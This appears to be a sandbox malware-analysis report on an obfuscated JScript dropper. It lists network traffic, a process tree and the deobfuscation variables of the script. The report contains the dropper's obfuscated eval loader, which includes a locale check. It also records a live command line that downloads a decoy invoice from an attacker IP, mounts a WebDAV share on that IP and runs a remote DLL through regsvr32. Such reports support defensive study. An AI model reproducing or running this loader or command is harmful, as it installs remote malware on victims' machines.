Jan 13, 2025 13:25:04.201422930 CET	1236	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 13, 2025 13:25:04.206456900 CET	772	IN	Data Raw: 6e ca 1f 18 fa 31 3c 30 f4 ee b1 8d a1 83 03 43 9b 18 7a 72 6b 62 e8 e1 7e d0 3a 0f c6 1e ee 57 ce 63 e8 d1 e1 ed f1 51 77 6c 68 1b 43 87 c7 86 de 76 c7 86 9a 18 ca b1 a1 5b 31 f5 cd 09 00 00 60 1a 7c b1 04 00 1b e5 ef a8 e5 1d b9 7a d8 ad b0 84 Data Ascii: n1<0Czrkb~:WcQwlhCv[1`\|z3<OhNiB$qi,45WqR=4pa/RrKuk{jv%Z\|GVu;=*VzfN5gM6:?SisUJ[ey\59-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	193.143.1.205	8888	1948	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 13:25:06.170124054 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 13:25:06.981053114 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 12:25:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	07:24:59
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3041621112067010510.js"
Imagebase:	0x7ff62fc70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:25:00
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17181531429844.dll
Imagebase:	0x7ff709c50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:25:00
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:25:00
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:25:05
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	07:25:05
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff709c50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:25:05
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff77d840000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:25:06
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:25:06
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	07:25:06
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1552,i,575197946732554737,12455436843513113105,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function akemqq() {	akemqq() ➔ undefined
1	this[zgvuu + xeqcrtaxx + fshtsjcpc + jaaorqdh] ( "kuvec=[1031,3079,5127,4103,2055,3072];var rzrutptjs=this[iusjnux+fshtsjcpc+zejztlb+yjfcxcusq+zgvuu+yjpaho+umgwvlafa+omlthjx](this[qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx][uzujyj+zejztlb+zgvuu+fshtsjcpc+omlthjx+zgvuu+jztim+aiamucccr+dzgnj+zgvuu+yfqppta+omlthjx](qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx+dbsptm+yilavc+pvcbd+zgvuu+jaaorqdh+jaaorqdh)[tiulx+zgvuu+zmnvz+tiulx+zgvuu+fshtsjcpc+mfffaszl](aydntuyhf+euflvp+ilzhztcq+igfhlscc+writa+uzujyj+ytqykp+tiulx+tiulx+ilzhztcq+jluum+gycrcfjlp+writa+ytqykp+yilavc+ilzhztcq+tiulx+dzquozu+uzujyj+pjwiwe+umgwvlafa+omlthjx+zejztlb+pjwiwe+jaaorqdh+mtncgeoy+wjqivb+fshtsjcpc+umgwvlafa+zgvuu+jaaorqdh+dzquozu+yjpaho+umgwvlafa+omlthjx+zgvuu+zejztlb+umgwvlafa+fshtsjcpc+omlthjx+krcleafh+pjwiwe+umgwvlafa+fshtsjcpc+jaaorqdh+dzquozu+xjdht+pjwiwe+yfqppta+fshtsjcpc+jaaorqdh+zgvuu),16);for(dnneeiajd=0;dnneeiajd<kuvec[jaaorqdh+zgvuu+umgwvlafa+zmnvz+omlthjx+pvcbd];++dnneeiajd){if(rzrutptjs==kuvec[dnneeiajd]){rzrutptjs=true;break;}}if(rzrutptjs!==true)this[qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx][iqshusui+tcfnwshw+krcleafh+omlthjx]();this[qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx][uzujyj+zejztlb+zgvuu+fshtsjcpc+omlthjx+zgvuu+jztim+aiamucccr+dzgnj+zgvuu+yfqppta+omlthjx](qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx+dbsptm+yilavc+pvcbd+zgvuu+jaaorqdh+jaaorqdh)[zejztlb+tcfnwshw+umgwvlafa](yfqppta+xgmavr+mfffaszl+mtncgeoy+ssbgllmju+yfqppta+mtncgeoy+iusjnux+pjwiwe+akinjjpmw+zgvuu+zejztlb+yjfcxcusq+pvcbd+zgvuu+jaaorqdh+jaaorqdh+dbsptm+zgvuu+lmowzayry+zgvuu+mtncgeoy+bxhsylh+uzujyj+pjwiwe+xgmavr+xgmavr+fshtsjcpc+umgwvlafa+mfffaszl+mtncgeoy+moodun+yjpaho+umgwvlafa+xeqcrtaxx+pjwiwe+uvjsdlkq+zgvuu+bxhsylh+qrnnpq+zgvuu+aiamucccr+tiulx+zgvuu+uyzxdbyn+tcfnwshw+zgvuu+yjfcxcusq+omlthjx+mtncgeoy+bxhsylh+jztim+tcfnwshw+omlthjx+bjjbgff+krcleafh+jaaorqdh+zgvuu+mtncgeoy+gxcdx+omlthjx+zgvuu+xgmavr+iusjnux+gxcdx+dzquozu+krcleafh+umgwvlafa+xeqcrtaxx+pjwiwe+krcleafh+yfqppta+zgvuu+dbsptm+iusjnux+mfffaszl+wbdlrha+mtncgeoy+pvcbd+omlthjx+omlthjx+iusjnux+dsoxidxgg+ssbgllmju+ssbgllmju+dlguo+swfxfvmkd+makvplhm+dbsptm+dlguo+mqfzhbipx+makvplhm+dbsptm+dlguo+dbsptm+pcjfuq+ootnz+jtawm+ssbgllmju+krcleafh+umgwvlafa+xeqcrtaxx+pjwiwe+krcleafh+yfqppta+zgvuu+dbsptm+iusjnux+pvcbd+iusjnux+moodun+ogswjorim+ogswjorim+yjfcxcusq+omlthjx+fshtsjcpc+zejztlb+omlthjx+mtncgeoy+gxcdx+omlthjx+zgvuu+xgmavr+iusjnux+gxcdx+dzquozu+krcleafh+umgwvlafa+xeqcrtaxx+pjwiwe+krcleafh+yfqppta+zgvuu+dbsptm+iusjnux+mfffaszl+wbdlrha+ogswjorim+ogswjorim+yfqppta+xgmavr+mfffaszl+mtncgeoy+ssbgllmju+yfqppta+mtncgeoy+umgwvlafa+zgvuu+omlthjx+mtncgeoy+tcfnwshw+yjfcxcusq+zgvuu+mtncgeoy+dzquozu+dzquozu+dlguo+swfxfvmkd+makvplhm+dbsptm+dlguo+mqfzhbipx+makvplhm+dbsptm+dlguo+dbsptm+pcjfuq+ootnz+jtawm+ehwgvkhh+ohcpoqn+ohcpoqn+ohcpoqn+ohcpoqn+dzquozu+mfffaszl+fshtsjcpc+xeqcrtaxx+akinjjpmw+akinjjpmw+akinjjpmw+zejztlb+pjwiwe+pjwiwe+omlthjx+dzquozu+ogswjorim+ogswjorim+yfqppta+xgmavr+mfffaszl+mtncgeoy+ssbgllmju+yfqppta+mtncgeoy+zejztlb+zgvuu+zmnvz+yjfcxcusq+xeqcrtaxx+zejztlb+makvplhm+pcjfuq+mtncgeoy+ssbgllmju+yjfcxcusq+mtncgeoy+dzquozu+dzquozu+dlguo+swfxfvmkd+makvplhm+dbsptm+dlguo+mqfzhbipx+makvplhm+dbsptm+dlguo+dbsptm+pcjfuq+ootnz+jtawm+ehwgvkhh+ohcpoqn+ohcpoqn+ohcpoqn+ohcpoqn+dzquozu+mfffaszl+fshtsjcpc+xeqcrtaxx+akinjjpmw+akinjjpmw+akinjjpmw+zejztlb+pjwiwe+pjwiwe+omlthjx+dzquozu+dlguo+dtcfxqdyy+dlguo+ohcpoqn+dlguo+jtawm+makvplhm+dlguo+mqfzhbipx+pcjfuq+swfxfvmkd+ohcpoqn+mqfzhbipx+mqfzhbipx+dbsptm+mfffaszl+jaaorqdh+jaaorqdh,0,false);" );	eval("kuvec=[1031,3079,5127,4103,2055,3072];var rzrutptjs=this[iusjnux+fshtsjcpc+zejztlb+yjfcxcusq+zgvuu+yjpaho+umgwvlafa+omlthjx](this[qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx][uzujyj+zejztlb+zgvuu+fshtsjcpc+omlthjx+zgvuu+jztim+aiamucccr+dzgnj+zgvuu+yfqppta+omlthjx](qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx+dbsptm+yilavc+pvcbd+zgvuu+jaaorqdh+jaaorqdh)[tiulx+zgvuu+zmnvz+tiulx+zgvuu+fshtsjcpc+mfffaszl](aydntuyhf+euflvp+ilzhztcq+igfhlscc+writa+uzujyj+ytqykp+tiulx+tiulx+ilzhztcq+jluum+gycrcfjlp+writa+ytqykp+yilavc+ilzhztcq+tiulx+dzquozu+uzujyj+pjwiwe+umgwvlafa+omlthjx+zejztlb+pjwiwe+jaaorqdh+mtncgeoy+wjqivb+fshtsjcpc+umgwvlafa+zgvuu+jaaorqdh+dzquozu+yjpaho+umgwvlafa+omlthjx+zgvuu+zejztlb+umgwvlafa+fshtsjcpc+omlthjx+krcleafh+pjwiwe+umgwvlafa+fshtsjcpc+jaaorqdh+dzquozu+xjdht+pjwiwe+yfqppta+fshtsjcpc+jaaorqdh+zgvuu),16);for(dnneeiajd=0;dnneeiajd<kuvec[jaaorqdh+zgvuu+umgwvlafa+zmnvz+omlthjx+pvcbd];++dnneeiajd){if(rzrutptjs==kuvec[dnneeiajd]){rzrutptjs=true;break;}}if(rzrutptjs!==true)this[qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx][iqshusui+tcfnwshw+krcleafh+omlthjx]();this[qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx][uzujyj+zejztlb+zgvuu+fshtsjcpc+omlthjx+zgvuu+jztim+aiamucccr+dzgnj+zgvuu+yfqppta+omlthjx](qrnnpq+yilavc+yfqppta+zejztlb+krcleafh+iusjnux+omlthjx+dbsptm+yilavc+pvcbd+zgvuu+jaaorqdh+jaaorqdh)[zejztlb+tcfnwshw+umgwvlafa](yfqppta+xgmavr+mfffaszl+mtncgeoy+ssbgllmju+yfqppta+mtncgeoy+iusjnux+pjwiwe+akinjjpmw+zgvuu+zejztlb+yjfcxcusq+pvcbd+zgvuu+jaaorqdh+jaaorqdh+dbsptm+zgvuu+lmowzayry+zgvuu+mtncgeoy+bxhsylh+uzujyj+pjwiwe+xgmavr+xgmavr+fshtsjcpc+umgwvlafa+mfffaszl+mtncgeoy+moodun+yjpaho+umgwvlafa+xeqcrtaxx+pjwiwe+uvjsdlkq+zgvuu+bxhsylh+qrnnpq+zgvuu+aiamucccr+tiulx+zgvuu+uyzxdbyn+tcfnwshw+zgvuu+yjfcxcusq+omlthjx+mtncgeoy+bxhsylh+jztim+tcfnwshw+omlthjx+bjjbgff+krcleafh+jaaorqdh+zgvuu+mtncgeoy+gxcdx+omlthjx+zgvuu+xgmavr+iusjnux+gxcdx+dzquozu+krcleafh+umgwvlafa+xeqcrtaxx+pjwiwe+krcleafh+yfqppta+zgvuu+dbsptm+iusjnux+mfffaszl+wbdlrha+mtncgeoy+pvcbd+omlthjx+omlthjx+iusjnux+dsoxidxgg+ssbgllmju+ssbgllmju+dlguo+swfxfvmkd+makvplhm+dbsptm+dlguo+mqfzhbipx+makvplhm+dbsptm+dlguo+dbsptm+pcjfuq+ootnz+jtawm+ssbgllmju+krcleafh+umgwvlafa+xeqcrtaxx+pjwiwe+krcleafh+yfqppta+zgvuu+dbsptm+iusjnux+pvcbd+iusjnux+moodun+ogswjorim+ogswjorim+yjfcxcusq+omlthjx+fshtsjcpc+zejztlb+omlthjx+mtncgeoy+gxcdx+omlthjx+zgvuu+xgmavr+iusjnux+gxcdx+dzquozu+krcleafh+umgwvlafa+xeqcrtaxx+pjwiwe+krcleafh+yfqppta+zgvuu+dbsptm+iusjnux+mfffaszl+wbdlrha+ogswjorim+ogswjorim+yfqppta+xgmavr+mfffaszl+mtncgeoy+ssbgllmju+yfqppta+mtncgeoy+umgwvlafa+zgvuu+omlthjx+mtncgeoy+tcfnwshw+yjfcxcusq+zgvuu+mtncgeoy+dzquozu+dzquozu+dlguo+swfxfvmkd+makvplhm+dbsptm+dlguo+mqfzhbipx+makvplhm+dbsptm+dlguo+dbsptm+pcjfuq+ootnz+jtawm+ehwgvkhh+ohcpoqn+ohcpoqn+ohcpoqn+ohcpoqn+dzquozu+mfffaszl+fshtsjcpc+xeqcrtaxx+akinjjpmw+akinjjpmw+akinjjpmw+zejztlb+pjwiwe+pjwiwe+omlthjx+dzquozu+ogswjorim+ogswjorim+yfqppta+xgmavr+mfffaszl+mtncgeoy+ssbgllmju+yfqppta+mtncgeoy+zejztlb+zgvuu+zmnvz+yjfcxcusq+xeqcrtaxx+zejztlb+makvplhm+pcjfuq+mtncgeoy+ssbgllmju+yjfcxcusq+mtncgeoy+dzquozu+dzquozu+dlguo+swfxfvmkd+makvplhm+dbsptm+dlguo+mqfzhbipx+makvplhm+dbsptm+dlguo+dbsptm+pcjfuq+ootnz+jtawm+ehwgvkhh+ohcpoqn+ohcpoqn+ohcpoqn+ohcpoqn+dzquozu+mfffaszl+fshtsjcpc+xeqcrtaxx+akinjjpmw+akinjjpmw+akinjjpmw+zejztlb+pjwiwe+pjwiwe+omlthjx+dzquozu+dlguo+dtcfxqdyy+dlguo+ohcpoqn+dlguo+jtawm+makvplhm+dlguo+mqfzhbipx+pcjfuq+swfxfvmkd+ohcpoqn+mqfzhbipx+mqfzhbipx+dbsptm+mfffaszl+jaaorqdh+jaaorqdh,0,false);") ➔ 0
2	}
3	jluum = "e";
4	jluum = "f";
5	jluum = "e";
6	jluum = "u";
7	jluum = "Z";
8	jluum = "p";
9	jluum = "M";
10	jluum = "a";
11	jluum = "e";
12	jluum = "N";
13	ogswjorim = "Q";
14	ogswjorim = "y";
15	ogswjorim = "k";
16	ogswjorim = "j";
17	ogswjorim = "G";
18	ogswjorim = "J";
19	ogswjorim = "&";
20	yjfcxcusq = "C";
21	yjfcxcusq = "r";
22	yjfcxcusq = "B";
23	yjfcxcusq = "m";
24	yjfcxcusq = "z";
25	yjfcxcusq = "S";
26	yjfcxcusq = "t";
27	yjfcxcusq = "s";
28	uzujyj = "B";
29	uzujyj = "y";
30	uzujyj = "C";
31	uzujyj = "g";
32	uzujyj = "b";
33	uzujyj = "C";
34	yjpaho = "y";
35	yjpaho = "S";
36	yjpaho = "t";
37	yjpaho = "e";
38	yjpaho = "S";
39	yjpaho = "I";
40	jtawm = "I";
41	jtawm = "c";
42	jtawm = "C";
43	jtawm = "H";
44	jtawm = "N";
45	jtawm = "5";
46	dbsptm = "q";
47	dbsptm = "M";
48	dbsptm = "p";
49	dbsptm = "F";
50	dbsptm = "I";
51	dbsptm = "m";
52	dbsptm = "u";
53	dbsptm = "F";
54	dbsptm = "x";
55	dbsptm = ".";
56	xeqcrtaxx = "j";
57	xeqcrtaxx = "u";
58	xeqcrtaxx = "k";
59	xeqcrtaxx = "x";
60	xeqcrtaxx = "f";
61	xeqcrtaxx = "K";
62	xeqcrtaxx = "v";
63	yilavc = "r";
64	yilavc = "A";
65	yilavc = "j";
66	yilavc = "C";
67	yilavc = "z";
68	yilavc = "S";
69	tcfnwshw = "o";
70	tcfnwshw = "z";
71	tcfnwshw = "W";
72	tcfnwshw = "i";
73	tcfnwshw = "i";
74	tcfnwshw = "e";
75	tcfnwshw = "o";
76	tcfnwshw = "J";
77	tcfnwshw = "s";
78	tcfnwshw = "u";
79	wjqivb = "W";
80	wjqivb = "a";
81	wjqivb = "T";
82	wjqivb = "O";
83	wjqivb = "u";
84	wjqivb = "f";
85	wjqivb = "z";
86	wjqivb = "Q";
87	wjqivb = "F";
88	wjqivb = "P";
89	xgmavr = "W";
90	xgmavr = "j";
91	xgmavr = "p";
92	xgmavr = "B";
93	xgmavr = "j";
94	xgmavr = "m";
95	uyzxdbyn = "u";
96	uyzxdbyn = "N";
97	uyzxdbyn = "S";
98	uyzxdbyn = "q";
99	uyzxdbyn = "h";
100	uyzxdbyn = "Y";
101	uyzxdbyn = "z";
102	uyzxdbyn = "q";
103	gxcdx = "T";
104	gxcdx = "c";
105	gxcdx = "x";
106	gxcdx = "o";
107	gxcdx = "s";
108	gxcdx = "%";
109	ytqykp = "v";
110	ytqykp = "B";
111	ytqykp = "O";
112	ytqykp = "O";
113	ytqykp = "F";
114	ytqykp = "m";
115	ytqykp = "Y";
116	ytqykp = "f";
117	ytqykp = "q";
118	ytqykp = "U";
119	moodun = "W";
120	moodun = "j";
121	moodun = "s";
122	moodun = "l";
123	moodun = "n";
124	moodun = "r";
125	moodun = "n";
126	moodun = "O";
127	moodun = "o";
128	moodun = "\"";
129	krcleafh = "x";
130	krcleafh = "z";
131	krcleafh = "Z";
132	krcleafh = "u";
133	krcleafh = "J";
134	krcleafh = "U";
135	krcleafh = "r";
136	krcleafh = "C";
137	krcleafh = "U";
138	krcleafh = "i";
139	yfqppta = "P";
140	yfqppta = "d";
141	yfqppta = "a";
142	yfqppta = "d";
143	yfqppta = "N";
144	yfqppta = "Z";
145	yfqppta = "y";
146	yfqppta = "y";
147	yfqppta = "S";
148	yfqppta = "c";
149	iusjnux = "d";
150	iusjnux = "x";
151	iusjnux = "F";
152	iusjnux = "P";
153	iusjnux = "t";
154	iusjnux = "E";
155	iusjnux = "s";
156	iusjnux = "p";
157	dzquozu = "j";
158	dzquozu = "C";
159	dzquozu = "r";
160	dzquozu = "h";
161	dzquozu = "V";
162	dzquozu = "\\";
163	gycrcfjlp = "H";
164	gycrcfjlp = "e";
165	gycrcfjlp = "s";
166	gycrcfjlp = "n";
167	gycrcfjlp = "q";
168	gycrcfjlp = "T";
169	dsoxidxgg = "U";
170	dsoxidxgg = "m";
171	dsoxidxgg = "K";
172	dsoxidxgg = "Q";
173	dsoxidxgg = "U";
174	dsoxidxgg = "b";
175	dsoxidxgg = "g";
176	dsoxidxgg = "I";
177	dsoxidxgg = ":";
178	xjdht = "F";
179	xjdht = "p";
180	xjdht = "e";
181	xjdht = "W";
182	xjdht = "i";
183	xjdht = "O";
184	xjdht = "c";
185	xjdht = "d";
186	xjdht = "D";
187	xjdht = "L";
188	jaaorqdh = "R";
189	jaaorqdh = "S";
190	jaaorqdh = "f";
191	jaaorqdh = "M";
192	jaaorqdh = "t";
193	jaaorqdh = "z";
194	jaaorqdh = "K";
195	jaaorqdh = "J";
196	jaaorqdh = "J";
197	jaaorqdh = "l";
198	dlguo = "f";
199	dlguo = "R";
200	dlguo = "R";
201	dlguo = "a";
202	dlguo = "g";
203	dlguo = "L";
204	dlguo = "N";
205	dlguo = "E";
206	dlguo = "M";
207	dlguo = "1";
208	bjjbgff = "k";
209	bjjbgff = "t";
210	bjjbgff = "p";
211	bjjbgff = "E";
212	bjjbgff = "Y";
213	bjjbgff = "j";
214	bjjbgff = "o";
215	bjjbgff = "F";
216	akinjjpmw = "C";
217	akinjjpmw = "f";
218	akinjjpmw = "v";
219	akinjjpmw = "U";
220	akinjjpmw = "A";
221	akinjjpmw = "U";
222	akinjjpmw = "w";
223	dzgnj = "n";
224	dzgnj = "Z";
225	dzgnj = "N";
226	dzgnj = "p";
227	dzgnj = "o";
228	dzgnj = "S";
229	dzgnj = "E";
230	dzgnj = "i";
231	dzgnj = "t";
232	dzgnj = "j";
233	zgvuu = "J";
234	zgvuu = "C";
235	zgvuu = "d";
236	zgvuu = "A";
237	zgvuu = "u";
238	zgvuu = "R";
239	zgvuu = "e";
240	iqshusui = "M";
241	iqshusui = "O";
242	iqshusui = "C";
243	iqshusui = "U";
244	iqshusui = "y";
245	iqshusui = "T";
246	iqshusui = "T";
247	iqshusui = "Q";
248	ohcpoqn = "W";
249	ohcpoqn = "O";
250	ohcpoqn = "G";
251	ohcpoqn = "U";
252	ohcpoqn = "i";
253	ohcpoqn = "m";
254	ohcpoqn = "8";
255	euflvp = "G";
256	euflvp = "l";
257	euflvp = "b";
258	euflvp = "x";
259	euflvp = "v";
260	euflvp = "r";
261	euflvp = "K";
262	pjwiwe = "b";
263	pjwiwe = "f";
264	pjwiwe = "W";
265	pjwiwe = "K";
266	pjwiwe = "b";
267	pjwiwe = "L";
268	pjwiwe = "t";
269	pjwiwe = "o";
270	pcjfuq = "z";
271	pcjfuq = "C";
272	pcjfuq = "z";
273	pcjfuq = "d";
274	pcjfuq = "r";
275	pcjfuq = "N";
276	pcjfuq = "2";
277	ehwgvkhh = "l";
278	ehwgvkhh = "M";
279	ehwgvkhh = "k";
280	ehwgvkhh = "V";
281	ehwgvkhh = "B";
282	ehwgvkhh = "J";
283	ehwgvkhh = "O";
284	ehwgvkhh = "@";
285	ilzhztcq = "A";
286	ilzhztcq = "x";
287	ilzhztcq = "i";
288	ilzhztcq = "V";
289	ilzhztcq = "U";
290	ilzhztcq = "j";
291	ilzhztcq = "L";
292	ilzhztcq = "S";
293	ilzhztcq = "H";
294	ilzhztcq = "E";
295	swfxfvmkd = "O";
296	swfxfvmkd = "B";
297	swfxfvmkd = "u";
298	swfxfvmkd = "a";
299	swfxfvmkd = "e";
300	swfxfvmkd = "L";
301	swfxfvmkd = "m";
302	swfxfvmkd = "9";
303	ootnz = "k";
304	ootnz = "R";
305	ootnz = "A";
306	ootnz = "K";
307	ootnz = "U";
308	ootnz = "C";
309	ootnz = "0";
310	aydntuyhf = "p";
311	aydntuyhf = "x";
312	aydntuyhf = "C";
313	aydntuyhf = "x";
314	aydntuyhf = "q";
315	aydntuyhf = "o";
316	aydntuyhf = "H";
317	umgwvlafa = "R";
318	umgwvlafa = "m";
319	umgwvlafa = "c";
320	umgwvlafa = "n";
321	umgwvlafa = "L";
322	umgwvlafa = "n";
323	qrnnpq = "L";
324	qrnnpq = "X";
325	qrnnpq = "N";
326	qrnnpq = "u";
327	qrnnpq = "W";
328	qrnnpq = "S";
329	qrnnpq = "W";
330	pvcbd = "X";
331	pvcbd = "x";
332	pvcbd = "v";
333	pvcbd = "n";
334	pvcbd = "y";
335	pvcbd = "x";
336	pvcbd = "s";
337	pvcbd = "h";
338	dtcfxqdyy = "g";
339	dtcfxqdyy = "I";
340	dtcfxqdyy = "n";
341	dtcfxqdyy = "U";
342	dtcfxqdyy = "x";
343	dtcfxqdyy = "A";
344	dtcfxqdyy = "z";
345	dtcfxqdyy = "7";
346	makvplhm = "f";
347	makvplhm = "j";
348	makvplhm = "t";
349	makvplhm = "c";
350	makvplhm = "B";
351	makvplhm = "e";
352	makvplhm = "n";
353	makvplhm = "g";
354	makvplhm = "3";
355	aiamucccr = "W";
356	aiamucccr = "y";
357	aiamucccr = "H";
358	aiamucccr = "r";
359	aiamucccr = "b";
360	aiamucccr = "Q";
361	aiamucccr = "w";
362	aiamucccr = "o";
363	aiamucccr = "g";
364	aiamucccr = "b";
365	mfffaszl = "c";
366	mfffaszl = "y";
367	mfffaszl = "X";
368	mfffaszl = "J";
369	mfffaszl = "E";
370	mfffaszl = "O";
371	mfffaszl = "w";
372	mfffaszl = "d";
373	zejztlb = "K";
374	zejztlb = "b";
375	zejztlb = "n";
376	zejztlb = "Z";
377	zejztlb = "s";
378	zejztlb = "g";
379	zejztlb = "A";
380	zejztlb = "s";
381	zejztlb = "r";
382	lmowzayry = "x";
383	lmowzayry = "X";
384	lmowzayry = "s";
385	lmowzayry = "K";
386	lmowzayry = "k";
387	lmowzayry = "e";
388	lmowzayry = "s";
389	lmowzayry = "x";
390	igfhlscc = "h";
391	igfhlscc = "Z";
392	igfhlscc = "e";
393	igfhlscc = "c";
394	igfhlscc = "l";
395	igfhlscc = "Y";
396	jztim = "P";
397	jztim = "U";
398	jztim = "r";
399	jztim = "s";
400	jztim = "A";
401	jztim = "O";
402	ssbgllmju = "y";
403	ssbgllmju = "M";
404	ssbgllmju = "Y";
405	ssbgllmju = "f";
